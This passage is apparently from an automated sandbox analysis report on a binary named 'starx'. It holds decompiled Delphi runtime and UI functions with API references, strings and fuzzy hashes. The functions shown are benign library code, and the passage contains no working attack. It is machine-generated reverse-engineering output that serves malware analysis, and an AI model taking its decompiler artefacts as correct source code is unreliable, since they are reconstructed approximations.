							if(E0040EBC0(_v788 - 1, _t115) != 0) {
								L0040DA98();
								E0040E878(_v792);
								L0040DA98();
								E0040E878( &_v260);
								_v780(_t113,  &_v260,  &_v800, _v792,  &_v260,  &_v796);
							}
							_t62 = E0040EBF0(_t97, _t115);
						} else {
							_t98 = _t95 + 1;
							_t73 =  &_v768;
							_t108 =  &_v260;
							do {
								 *_t108 =  *_t73;
								_t108 = _t108 + 4;
								_t73 = _t73 + 8;
								_t98 = _t98 - 1;
							} while (_t98 != 0);
							do {
								goto L14;
							} while (_t62 != 0);
							return _t62;
						}
					} else {
						_t99 = _t93 + 1;
						_t112 = 0;
						_t114 =  &_v772;
						do {
							_v804 = _t114;
							_push(_v804 + 4);
							_t18 = _t112 + 1; // 0x1
							_push(_v792);
							L0040DA88();
							E0040E878(_v792);
							_push( &_v784);
							_t21 = _t112 + 1; // 0x1
							_push(_v792);
							L0040DA90();
							E0040E878(_v792);
							 *_v804 = _v784 -  *((intOrPtr*)(_v804 + 4)) + 1;
							_t112 = _t112 + 1;
							_t114 = _t114 + 8;
							_t99 = _t99 - 1;
						} while (_t99 != 0);
						goto L9;
					}
				}
			}

0x0040ec4c
0x0040ec58
0x0040ec5e
0x0040ec60
0x0040ec6a
0x0040ec71
0x0040ec71
0x0040ec76
0x0040ec84
0x0040edfd
0x0040ee04
0x0040ee05
0x00000000
0x0040ec8a
0x0040ec8d
0x0040ec9f
0x0040ec8f
0x0040ec94
0x0040ec94
0x0040ecae
0x0040ecba
0x0040ecbd
0x0040ed2a
0x0040ed30
0x0040ed31
0x0040ed37
0x0040ed38
0x0040ed3a
0x0040ed3f
0x0040ed43
0x0040ed45
0x0040ed45
0x0040ed50
0x0040ed5b
0x0040ed66
0x0040ed6f
0x0040ed72
0x0040ed8e
0x0040ed95
0x0040eda0
0x0040edb7
0x0040edbc
0x0040edd0
0x0040edd5
0x0040ede8
0x0040ede8
0x0040edf1
0x0040ed74
0x0040ed74
0x0040ed75
0x0040ed7b
0x0040ed81
0x0040ed83
0x0040ed85
0x0040ed88
0x0040ed8b
0x0040ed8b
0x0040ed8e
0x00000000
0x00000000
0x00000000
0x0040ed8e
0x0040ecbf
0x0040ecbf
0x0040ecc0
0x0040ecc2
0x0040ecc8
0x0040ecca
0x0040ecd9
0x0040ecda
0x0040ece4
0x0040ece5
0x0040ecea
0x0040ecf5
0x0040ecf6
0x0040ed00
0x0040ed01
0x0040ed06
0x0040ed21
0x0040ed23
0x0040ed24
0x0040ed27
0x0040ed27
0x00000000
0x0040ecc8
0x0040ecbd

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 0040ECE5
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 0040ED01
SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 0040ED3A
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 0040EDB7
SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 0040EDD0
VariantCopy.OLEAUT32(?), ref: 0040EE05

Strings

, xrefs: 0040EC66

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: ArraySafe$BoundIndex$CopyCreateVariant
String ID:
API String ID: 351091851-3916222277
Opcode ID: e097b3cb944edf1d61b756a614b49b7133427e9fd4d59051032893853cdbf4c2
Instruction ID: 52272c09084fc7dbce307a5edf470d68b0801ed414c8845e2e097ea075fc8080
Opcode Fuzzy Hash: e097b3cb944edf1d61b756a614b49b7133427e9fd4d59051032893853cdbf4c2
Instruction Fuzzy Hash: DF51117590022D9BDB25DB5AC881AD9B3BCEF48304F0045EAE509B7252D634EF958F54

Uniqueness

Uniqueness Score: -1.00%

Function 0045CA00, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 132windowCOMMON

Download Yara Rule

APIs

GetActiveWindow.USER32 ref: 0045CA13
GetWindowRect.USER32 ref: 0045CA6D
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,0000001D,?,?), ref: 0045CAA5
MessageBoxA.USER32 ref: 0045CAE6
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,0000001D,0045CB5C,?,00000000,0045CB55), ref: 0045CB36
SetActiveWindow.USER32(?,0045CB5C,?,00000000,0045CB55), ref: 0045CB47

Strings

(, xrefs: 0045CA4A

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Window$Active$MessageRect
String ID: (
API String ID: 3147912190-3887548279
Opcode ID: a241cad45db46c81d56fca6f8b4391c5a55c3e9dd9856cfc95d356b66dd17271
Instruction ID: 6e37d0aa3ff8711ddd67f5615fa99bd29049ec7ca09ba5b9035df4f20e561d83
Opcode Fuzzy Hash: a241cad45db46c81d56fca6f8b4391c5a55c3e9dd9856cfc95d356b66dd17271
Instruction Fuzzy Hash: 63413DB5E00208AFDB04DFA9DD82FAE77F9EB48305F148469F904E7392D674AE048B54

Uniqueness

Uniqueness Score: -1.00%

Function 004205C4, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 122
fileCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E004205C4(void* __eax, void* __ebx, int __ecx, intOrPtr* __edx, void* __edi, void* __esi) {
				intOrPtr* _v8;
				int _v12;
				BYTE* _v16;
				intOrPtr _v18;
				signed int _v24;
				short _v26;
				short _v28;
				short _v30;
				short _v32;
				char _v38;
				struct tagMETAFILEPICT _v54;
				intOrPtr _v118;
				intOrPtr _v122;
				struct tagENHMETAHEADER _v154;
				intOrPtr _t103;
				intOrPtr _t115;
				struct HENHMETAFILE__* _t119;
				struct HENHMETAFILE__* _t120;
				void* _t122;
				void* _t123;
				void* _t124;
				void* _t125;
				intOrPtr _t126;

				_t124 = _t125;
				_t126 = _t125 + 0xffffff68;
				_v12 = __ecx;
				_v8 = __edx;
				_t122 = __eax;
				E00420460(__eax);
				 *((intOrPtr*)( *_v8 + 0xc))(__edi, __esi, __ebx, _t123);
				if(_v38 != 0x9ac6cdd7 || E0041EB98( &_v38) != _v18) {
					E0041DD48();
				}
				_v12 = _v12 - 0x16;
				_v16 = E004026D4(_v12);
				_t103 =  *((intOrPtr*)(_t122 + 0x28));
				 *[fs:eax] = _t126;
				 *((intOrPtr*)( *_v8 + 0xc))( *[fs:eax], 0x420733, _t124);
				 *((short*)( *((intOrPtr*)(_t122 + 0x28)) + 0x18)) = _v24;
				if(_v24 == 0) {
					_v24 = 0x60;
				}
				 *((intOrPtr*)(_t103 + 0xc)) = MulDiv(_v28 - _v32, 0x9ec, _v24 & 0x0000ffff);
				 *((intOrPtr*)(_t103 + 0x10)) = MulDiv(_v26 - _v30, 0x9ec, _v24 & 0x0000ffff);
				_v54.mm = 8;
				_v54.xExt = 0;
				_v54.yExt = 0;
				_v54.hMF = 0;
				_t119 = SetWinMetaFileBits(_v12, _v16, 0,  &_v54);
				 *(_t103 + 8) = _t119;
				if(_t119 == 0) {
					E0041DD48();
				}
				GetEnhMetaFileHeader( *(_t103 + 8), 0x64,  &_v154);
				_v54.mm = 8;
				_v54.xExt = _v122;
				_v54.yExt = _v118;
				_v54.hMF = 0;
				DeleteEnhMetaFile( *(_t103 + 8));
				_t120 = SetWinMetaFileBits(_v12, _v16, 0,  &_v54);
				 *(_t103 + 8) = _t120;
				if(_t120 == 0) {
					E0041DD48();
				}
				 *((char*)(_t122 + 0x2c)) = 0;
				_pop(_t115);
				 *[fs:eax] = _t115;
				_push(0x42073a);
				return E004026F4(_v16);
			}

0x004205c5
0x004205c7
0x004205d0
0x004205d3
0x004205d6
0x004205da
0x004205ec
0x004205f6
0x00420606
0x00420606
0x0042060b
0x00420617
0x0042061a
0x00420628
0x00420636
0x00420640
0x00420649
0x0042064b
0x0042064b
0x0042066b
0x00420688
0x0042068b
0x00420694
0x00420699
0x0042069e
0x004206b4
0x004206b6
0x004206bb
0x004206bd
0x004206bd
0x004206cf
0x004206d4
0x004206de
0x004206e4
0x004206e9
0x004206f0
0x00420708
0x0042070a
0x0042070f
0x00420711
0x00420711
0x00420716
0x0042071c
0x0042071f
0x00420722
0x00420732

APIs

MulDiv.KERNEL32(?,000009EC,00000000), ref: 00420666
MulDiv.KERNEL32(?,000009EC,00000000), ref: 00420683
SetWinMetaFileBits.GDI32(00000016,?,00000000,00000008,?,000009EC,00000000,?,000009EC,00000000), ref: 004206AF
GetEnhMetaFileHeader.GDI32(00000016,00000064,?,00000016,?,00000000,00000008,?,000009EC,00000000,?,000009EC,00000000), ref: 004206CF
DeleteEnhMetaFile.GDI32(00000016), ref: 004206F0
SetWinMetaFileBits.GDI32(00000016,?,00000000,00000008,00000016,00000064,?,00000016,?,00000000,00000008,?,000009EC,00000000,?,000009EC), ref: 00420703

Strings

`, xrefs: 0042064B

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: FileMeta$Bits$DeleteHeader
String ID: `
API String ID: 1990453761-2679148245
Opcode ID: 8460bff6b942a6f19e73ad724154cb88027a677b85a5fc27ee72f5d1040b1bd7
Instruction ID: 6c874b78507e441883f6160aa7438174bddc26715f177df08a372ea217052dc9
Opcode Fuzzy Hash: 8460bff6b942a6f19e73ad724154cb88027a677b85a5fc27ee72f5d1040b1bd7
Instruction Fuzzy Hash: 2A41FF75E00218AFDB00DFA9D485AAEB7F9EF48710F51846AF904EB241E7399D41CB68

Uniqueness

Uniqueness Score: -1.00%

Function 0044AFC4, Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 80
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E0044AFC4(void* __eax, void* __ebx, void* __edx, void* __edi, void* __esi) {
				intOrPtr _v8;
				void* __ecx;
				intOrPtr _t9;
				void* _t11;
				intOrPtr _t17;
				void* _t28;
				intOrPtr _t33;
				intOrPtr _t34;
				intOrPtr _t37;
				struct HINSTANCE__* _t41;
				void* _t43;
				intOrPtr _t45;
				intOrPtr _t46;

				_t45 = _t46;
				_push(__ebx);
				_t43 = __edx;
				_t28 = __eax;
				if( *0x47fba0 == 0) {
					 *0x47fba0 = E0040BE28("comctl32.dll", __eax);
					if( *0x47fba0 >= 0x60000) {
						_t41 = GetModuleHandleA("comctl32.dll");
						if(_t41 != 0) {
							 *0x47fba4 = GetProcAddress(_t41, "ImageList_WriteEx");
						}
					}
				}
				_v8 = E0041A180(_t43, 1, 0);
				_push(_t45);
				_push(0x44b0be);
				_push( *[fs:eax]);
				 *[fs:eax] = _t46;
				if( *0x47fba4 == 0) {
					_t9 = _v8;
					if(_t9 != 0) {
						_t9 = _t9 - 0xffffffec;
					}
					_push(_t9);
					_t11 = E00449BC8(_t28);
					_push(_t11);
					L004246C0();
					if(_t11 == 0) {
						_t33 =  *0x47e5d4; // 0x41aa64
						E0040B694(_t33, 1);
						E004039FC();
					}
				} else {
					_t17 = _v8;
					if(_t17 != 0) {
						_t17 = _t17 - 0xffffffec;
					}
					_push(_t17);
					_push(1);
					_push(E00449BC8(_t28));
					if( *0x47fba4() != 0) {
						_t34 =  *0x47e5d4; // 0x41aa64
						E0040B694(_t34, 1);
						E004039FC();
					}
				}
				_pop(_t37);
				 *[fs:eax] = _t37;
				_push(0x44b0c5);
				return E00403270(_v8);
			}

0x0044afc5
0x0044afc8
0x0044afcb
0x0044afcd
0x0044afd6
0x0044afe2
0x0044aff1
0x0044affd
0x0044b001
0x0044b00e
0x0044b00e
0x0044b001
0x0044aff1
0x0044b023
0x0044b028
0x0044b029
0x0044b02e
0x0044b031
0x0044b03b
0x0044b075
0x0044b07a
0x0044b07c
0x0044b07c
0x0044b07f
0x0044b082
0x0044b087
0x0044b088
0x0044b08f
0x0044b091
0x0044b09e
0x0044b0a3
0x0044b0a3
0x0044b03d
0x0044b03d
0x0044b042
0x0044b044
0x0044b044
0x0044b047
0x0044b048
0x0044b051
0x0044b05a
0x0044b05c
0x0044b069
0x0044b06e
0x0044b06e
0x0044b05a
0x0044b0aa
0x0044b0ad
0x0044b0b0
0x0044b0bd

APIs

Part of subcall function 0040BE28: 744C14E0.VERSION(00000000,?,00000000,0040BEFE), ref: 0040BE6A
Part of subcall function 0040BE28: 744C14C0.VERSION(00000000,?,00000000,?,00000000,0040BEE1,?,00000000,?,00000000,0040BEFE), ref: 0040BE9F
Part of subcall function 0040BE28: 744C1500.VERSION(?,0040BF10,?,?,00000000,?,00000000,?,00000000,0040BEE1,?,00000000,?,00000000,0040BEFE), ref: 0040BEB9

GetModuleHandleA.KERNEL32(comctl32.dll), ref: 0044AFF8
GetProcAddress.KERNEL32(00000000,ImageList_WriteEx), ref: 0044B009
73FC1DE0.COMCTL32(00000000,?,00000000,0044B0BE), ref: 0044B088

Strings

<"A, xrefs: 0044B019
comctl32.dll, xrefs: 0044AFF3
ImageList_WriteEx, xrefs: 0044B003
comctl32.dll, xrefs: 0044AFD8

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: AddressC1500HandleModuleProc
String ID: <"A$ImageList_WriteEx$comctl32.dll$comctl32.dll
API String ID: 1463589760-3905579907
Opcode ID: 998cbf00a97b17eb12ae9d3be391c588ae498d709c24d4c1670d06f2ab7c8a04
Instruction ID: f35ddfa276ace9353c75039ac4d3ed01d4e9b07aae122f3578727c1b6cda1c89
Opcode Fuzzy Hash: 998cbf00a97b17eb12ae9d3be391c588ae498d709c24d4c1670d06f2ab7c8a04
Instruction Fuzzy Hash: 25218E30200201AFE720AF7ADD52B6B36A8EB4570AB00053EB415E72A1DB7EDC44979C

Uniqueness

Uniqueness Score: -1.00%

Function 00424A40, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 68
stringCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E00424A40(struct HMONITOR__* _a4, struct tagMONITORINFO* _a8) {
				void _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t23;
				int _t24;
				struct HMONITOR__* _t27;
				struct tagMONITORINFO* _t29;
				intOrPtr* _t31;

				_t29 = _a8;
				_t27 = _a4;
				if( *0x47f92c != 0) {
					_t24 = 0;
					if(_t27 == 0x12340042 && _t29 != 0 && _t29->cbSize >= 0x28 && SystemParametersInfoA(0x30, 0,  &_v20, 0) != 0) {
						_t29->rcMonitor.left = 0;
						_t29->rcMonitor.top = 0;
						_t29->rcMonitor.right = GetSystemMetrics(0);
						_t29->rcMonitor.bottom = GetSystemMetrics(1);
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t31 = _t29;
						 *(_t31 + 0x24) = 1;
						if( *_t31 >= 0x4c) {
							_push("DISPLAY");
							_push(_t31 + 0x28);
							L00406224();
						}
						_t24 = 1;
					}
				} else {
					 *0x47f910 = E00424710(4, _t23,  *0x47f910, _t27, _t29);
					_t24 = GetMonitorInfoA(_t27, _t29);
				}
				return _t24;
			}

0x00424a49
0x00424a4c
0x00424a56
0x00424a7b
0x00424a83
0x00424aa3
0x00424aa8
0x00424ab3
0x00424abe
0x00424ac8
0x00424ac9
0x00424aca
0x00424acb
0x00424acc
0x00424acd
0x00424ad7
0x00424ad9
0x00424ae1
0x00424ae2
0x00424ae2
0x00424ae7
0x00424ae7
0x00424a58
0x00424a6a
0x00424a77
0x00424a77
0x00424af1

APIs

GetMonitorInfoA.USER32(?,?), ref: 00424A71
SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 00424A98
GetSystemMetrics.USER32 ref: 00424AAD
GetSystemMetrics.USER32 ref: 00424AB8
lstrcpy.KERNEL32(?,DISPLAY), ref: 00424AE2

Part of subcall function 00424710: GetProcAddress.KERNEL32(759B0000,00000000), ref: 00424790

Strings

DISPLAY, xrefs: 00424AD9
GetMonitorInfo, xrefs: 00424A58

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: System$InfoMetrics$AddressMonitorParametersProclstrcpy
String ID: DISPLAY$GetMonitorInfo
API String ID: 1539801207-1633989206
Opcode ID: f93f5d1e66dc2e963f0839c8a3063b873ef862562ca8da82876ee11966349588
Instruction ID: 66dc711aa8ce4d70a3237398d1b66e5ddb4813944d15f029153a71c68c31c7dd
Opcode Fuzzy Hash: f93f5d1e66dc2e963f0839c8a3063b873ef862562ca8da82876ee11966349588
Instruction Fuzzy Hash: 4511D2B57413156FD720CFA1AC407A7B7A8FB45310F40493AED5997250D3B5A944CBAC

Uniqueness

Uniqueness Score: -1.00%

Function 00424BE8, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 68
stringCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E00424BE8(intOrPtr _a4, intOrPtr* _a8) {
				void _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t23;
				int _t24;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t29;
				intOrPtr* _t31;

				_t29 = _a8;
				_t27 = _a4;
				if( *0x47f92e != 0) {
					_t24 = 0;
					if(_t27 == 0x12340042 && _t29 != 0 &&  *_t29 >= 0x28 && SystemParametersInfoA(0x30, 0,  &_v20, 0) != 0) {
						 *((intOrPtr*)(_t29 + 4)) = 0;
						 *((intOrPtr*)(_t29 + 8)) = 0;
						 *((intOrPtr*)(_t29 + 0xc)) = GetSystemMetrics(0);
						 *((intOrPtr*)(_t29 + 0x10)) = GetSystemMetrics(1);
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t31 = _t29;
						 *(_t31 + 0x24) = 1;
						if( *_t31 >= 0x4c) {
							_push("DISPLAY");
							_push(_t31 + 0x28);
							L00406224();
						}
						_t24 = 1;
					}
				} else {
					_t26 =  *0x47f918; // 0x424be8
					 *0x47f918 = E00424710(6, _t23, _t26, _t27, _t29);
					_t24 =  *0x47f918(_t27, _t29);
				}
				return _t24;
			}

0x00424bf1
0x00424bf4
0x00424bfe
0x00424c23
0x00424c2b
0x00424c4b
0x00424c50
0x00424c5b
0x00424c66
0x00424c70
0x00424c71
0x00424c72
0x00424c73
0x00424c74
0x00424c75
0x00424c7f
0x00424c81
0x00424c89
0x00424c8a
0x00424c8a
0x00424c8f
0x00424c8f
0x00424c00
0x00424c05
0x00424c12
0x00424c1f
0x00424c1f
0x00424c99

APIs

SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 00424C40
GetSystemMetrics.USER32 ref: 00424C55
GetSystemMetrics.USER32 ref: 00424C60
lstrcpy.KERNEL32(?,DISPLAY), ref: 00424C8A

Part of subcall function 00424710: GetProcAddress.KERNEL32(759B0000,00000000), ref: 00424790

Strings

DISPLAY, xrefs: 00424C81
KB, xrefs: 00424C05, 00424C12, 00424C19
GetMonitorInfoW, xrefs: 00424C00

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: System$Metrics$AddressInfoParametersProclstrcpy
String ID: DISPLAY$GetMonitorInfoW$KB
API String ID: 2545840971-3057694092
Opcode ID: 070577c496314a0f42f68039679e2037b73dfeb064d6e823243185e7caf6a832
Instruction ID: 0903bcc9f916c3fdde83a5b22dc556129e5d4e73fda8a1acc6e4f3ef07b3facd
Opcode Fuzzy Hash: 070577c496314a0f42f68039679e2037b73dfeb064d6e823243185e7caf6a832
Instruction Fuzzy Hash: D41124B17023206FE720DFA6AC417A7B7E8EB85310F41053AED4997740C7B4A844C7AD

Uniqueness

Uniqueness Score: -1.00%

Function 00405C45, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 41
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405C45(void* __eax, void* __ebx, void* __ecx, intOrPtr* __edi) {
				long _t11;
				void* _t16;

				_t16 = __ebx;
				 *__edi =  *__edi + __ecx;
				 *((intOrPtr*)(__eax - 0x47f5b8)) =  *((intOrPtr*)(__eax - 0x47f5b8)) + __eax - 0x47f5b8;
				 *0x467008 = 2;
				 *0x47f014 = 0x401214;
				 *0x47f018 = 0x40121c;
				 *0x47f04a = 2;
				 *0x47f000 = E00404D8C;
				if(E004030A8() != 0) {
					_t3 = E004030D8();
				}
				E0040319C(_t3);
				 *0x47f050 = 0xd7b0;
				 *0x47f21c = 0xd7b0;
				 *0x47f3e8 = 0xd7b0;
				 *0x47f03c = GetCommandLineA();
				 *0x47f038 = E00401324();
				if((GetVersion() & 0x80000000) == 0x80000000) {
					 *0x47f5bc = E00405B7C(GetThreadLocale(), _t16, __eflags);
				} else {
					if((GetVersion() & 0x000000ff) <= 4) {
						 *0x47f5bc = E00405B7C(GetThreadLocale(), _t16, __eflags);
					} else {
						 *0x47f5bc = 3;
					}
				}
				_t11 = GetCurrentThreadId();
				 *0x47f030 = _t11;
				return _t11;
			}

0x00405c45
0x00405c4a
0x00405c4f
0x00405c51
0x00405c58
0x00405c62
0x00405c6c
0x00405c73
0x00405c84
0x00405c86
0x00405c86
0x00405c8b
0x00405c90
0x00405c99
0x00405ca2
0x00405cb0
0x00405cba
0x00405cce
0x00405d07
0x00405cd0
0x00405cde
0x00405cf6
0x00405ce0
0x00405ce0
0x00405ce0
0x00405cde
0x00405d0c
0x00405d11
0x00405d16

APIs

Part of subcall function 004030A8: GetKeyboardType.USER32(00000000), ref: 004030AD
Part of subcall function 004030A8: GetKeyboardType.USER32(00000001), ref: 004030B9

GetCommandLineA.KERNEL32 ref: 00405CAB
GetVersion.KERNEL32 ref: 00405CBF
GetVersion.KERNEL32 ref: 00405CD0
GetCurrentThreadId.KERNEL32 ref: 00405D0C

Part of subcall function 004030D8: RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 004030FA
Part of subcall function 004030D8: RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,00403149,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 0040312D
Part of subcall function 004030D8: RegCloseKey.ADVAPI32(?,00403150,00000000,?,00000004,00000000,00403149,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00403143

GetThreadLocale.KERNEL32 ref: 00405CEC

Part of subcall function 00405B7C: GetLocaleInfoA.KERNEL32(?,00001004,?,00000007,00000000,00405BE2), ref: 00405BA2

Strings

X3}, xrefs: 00405CB0

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: KeyboardLocaleThreadTypeVersion$CloseCommandCurrentInfoLineOpenQueryValue
String ID: X3}
API String ID: 3734044017-1194446507
Opcode ID: b824fc674c2a8a709f7fd7c76c9509d87737281be20a9830e08854c79fc15997
Instruction ID: 34c5a9c7a8c12f658a08c1054a376d251a20e201cbb7f9802ba6eb5c8d340610
Opcode Fuzzy Hash: b824fc674c2a8a709f7fd7c76c9509d87737281be20a9830e08854c79fc15997
Instruction Fuzzy Hash: 75011BB545478199E710BFA6A80A3593BA0AF51308F10847F9448B63F3E77C458D8F6E

Uniqueness

Uniqueness Score: -1.00%

Function 00403E44, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38
filewindowCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00403E44(void* __ecx) {
				long _v4;
				int _t3;

				if( *0x47f048 == 0) {
					if( *0x467030 == 0) {
						_t3 = MessageBoxA(0, "Runtime error     at 00000000", "Error", 0);
					}
					return _t3;
				} else {
					if( *0x47f21c == 0xd7b2 &&  *0x47f224 > 0) {
						 *0x47f234();
					}
					WriteFile(GetStdHandle(0xfffffff5), "Runtime error     at 00000000", 0x1e,  &_v4, 0);
					return WriteFile(GetStdHandle(0xfffffff5), E00403ECC, 2,  &_v4, 0);
				}
			}

0x00403e4c
0x00403eac
0x00403ebc
0x00403ebc
0x00403ec2
0x00403e4e
0x00403e57
0x00403e67
0x00403e67
0x00403e83
0x00403ea4
0x00403ea4

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,004662A8,00000000,?,00403F12,?,?,?,00000001,00403FB2,004027E3,0040282B,?,00000000), ref: 00403E7D
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,004662A8,00000000,?,00403F12,?,?,?,00000001,00403FB2,004027E3,0040282B), ref: 00403E83
GetStdHandle.KERNEL32(000000F5,00403ECC,00000002,004662A8,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,004662A8,00000000,?,00403F12), ref: 00403E98
WriteFile.KERNEL32(00000000,000000F5,00403ECC,00000002,004662A8,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,004662A8,00000000,?,00403F12), ref: 00403E9E
MessageBoxA.USER32 ref: 00403EBC

Strings

Error, xrefs: 00403EB0
Runtime error at 00000000, xrefs: 00403E76, 00403EB5

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: 87b3a71f9079227d247a2896a866b301fe7f18a0673de9bb9bc2366e42103626
